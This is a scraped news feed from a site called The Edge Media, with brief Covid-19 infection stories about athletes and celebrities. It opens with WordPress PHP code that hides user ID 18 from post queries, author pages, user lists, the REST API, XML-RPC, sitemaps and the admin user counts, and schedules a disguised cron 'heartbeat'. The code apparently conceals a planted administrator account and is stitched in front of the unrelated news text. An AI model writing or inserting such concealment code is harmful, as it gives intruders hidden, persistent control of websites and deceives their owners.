add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Kimi Raikkonen tests positive for Covid 19 appeared first on The Edge Media.
]]>The 2007 world champion, 41, who is retiring from Formula One at the end of the season, will be replaced in Zandvoort by Alfa Romeo’s reserve driver Robert Kubica. “Kimi is displaying no symptoms and is in good spirits. He has immediately entered isolation in his hotel. The team wishes Kimi a speedy recovery,” the Alfa Romeo team tweeted.
Polish driver Kubica, 36, won the Canadian Grand Prix in 2008 but his career was severely hampered following a crash during the Andorra Rally in 2011 in which his right forearm was partially severed.
“Robert has been reserve driver… since the start of the 2020 season and has driven the team’s C41 in three practice sessions this year,” Alfa Romeo said.
“With 97 Formula One starts to his name and experience with 2021 Formula One machinery, he will be ready for action and to give his best for the team.”
With Raikkonen needing a negative test before being allowed to return to the paddock, his participation in next weekend’s Italian Grand Prix at Monza is also in doubt.
The post Kimi Raikkonen tests positive for Covid 19 appeared first on The Edge Media.
]]>The post Farah Khan tests positive for Covid 19 appeared first on The Edge Media.
]]>Farah Khan wrote, “I wonder if this happened coz i didn’t put my ‘kaala teeka’… Despite being double vaccinated, & working with mostly, double vaxxed people… I’ve still managed to test positive for Covid… I’ve already informed everyone I came in contact with to get tested. However if I have forgotten someone (because of old age and fading memory) please test yourself. Hoping to recover soon.”
Farah currently features as a judge on the Zee Comedy Show. Recently, she had appeared on Super Dancer 4 and shared a behind-the-scenes video from the sets. It featured Shilpa Shetty, Geeta Kapur, Rithvik Dhanjani, and Paritosh Tripathi. Farah, along with the others, danced on the stage to Touch It by KiDi. On Instagram, sharing the video clip, Farah had written, “#friendsreunion” along with a heart emoji.
In an interview, Farah had said, “It’s a fun, comedy show, and I love being back on sets finally after all these months I am shooting for Comedy Show. I love to laugh and make others laugh too in these testing times.”
Last month, Farah had also attended the reception ceremony of actor Anil Kapoor’s daughter Rhea Kapoor. She also shot a music video, Saath Kya Nibhaoge, with actor Sonu Sood.
She also recreated a song from Main Hoon Na with actor Shah Rukh Khan and Ek Pal Ka Jeena from Kaho Naa Pyaar Hai with Hrithik Roshan. She was last seen in the talk show Pinch, hosted by actor Arbaaz Khan.
The post Farah Khan tests positive for Covid 19 appeared first on The Edge Media.
]]>The post Jennifer Winget tests positive for COVID – 19 appeared first on The Edge Media.
]]>

Jennifer’s photo caption read, “Down but not out… YES, It’s TRUE! Corona came a-knocking and caught me off guard .. . But know that, I am asymptomatic and feel absolutely fine. So to everyone worried and concerned, don’t be! Here to report that I am quarantining, whining and dining and cannot wait to kick back in action.
A bummer, this, but promise it’s only a minor blip, just paused for a bit to emerge stronger, better, healthier and raring to go. Thank you for all your wishes. But Covid aint got nothing on me! Be back sooner than you know. Signing off with hugs and kisses… Or I best, better not!”
As per reports in SpotboyE, she was all set for the shooting of the second season of her web series CODE M. The report read, “Jennifer Winget was all set to shoot for the second season of her web series CODE M from July 20. Before shooting the series, she went under a precautionary COVID-19 test and found out she had been infected. However, she is almost asymptomatic.”
The post Jennifer Winget tests positive for COVID – 19 appeared first on The Edge Media.
]]>The post Two athletes and a team colleague tests positive in the Tokyo Olympic village appeared first on The Edge Media.
]]>Tokyo 2020 spokesman Masa Takaya said the three cases “were from the same country and sport”. They are “isolated in their rooms and Tokyo 2020 is delivering meals to them”, he said, adding that the rest of the team have also been tested. The team was not identified.
The Olympic Village, a complex of apartments and dining areas in Tokyo, will house 6,700 athletes and officials at its peak when the delayed 2020 Games finally get underway.
The Tokyo Games, which will be held largely behind closed doors to prevent infections, are unpopular in Japan where opinion polls have consistently demonstrated a lack of support.
Olympic officials have been at pains to play down the health risks of the Games, which are taking place in stringent anti-coronavirus conditions with athletes tested daily.
“Mingling and crossing of populations is very limited. We keep the risk to an absolute minimum level,” Olympic Games executive director Christophe Dubi said on Sunday.
The post Two athletes and a team colleague tests positive in the Tokyo Olympic village appeared first on The Edge Media.
]]>The post Indian cricket team’s throwdown specialist Dayanand Garani also tested positive appeared first on The Edge Media.
]]>Meanwhile, another coaching staff member and reserve wicketkeeper Wriddhiman Saha were also placed in isolation as they were reportedly came in contact with Garani, it added.
All four are currently in London while the rest are reaching Durham this evening after reassembling from a 20-day break. London to Durham is a five-hour bus journey, the report further said
Meanwhile, as per a BCCI source cited by the PTI in a previous report, Pant has been in isolation for eight days and is currently asymptomatic.
BCCI Vice President Rajeev Shukla, earlier spoke to news agency ANI, and without naming the player, said that the person who has tested positive will be tested again after two days.
The post Indian cricket team’s throwdown specialist Dayanand Garani also tested positive appeared first on The Edge Media.
]]>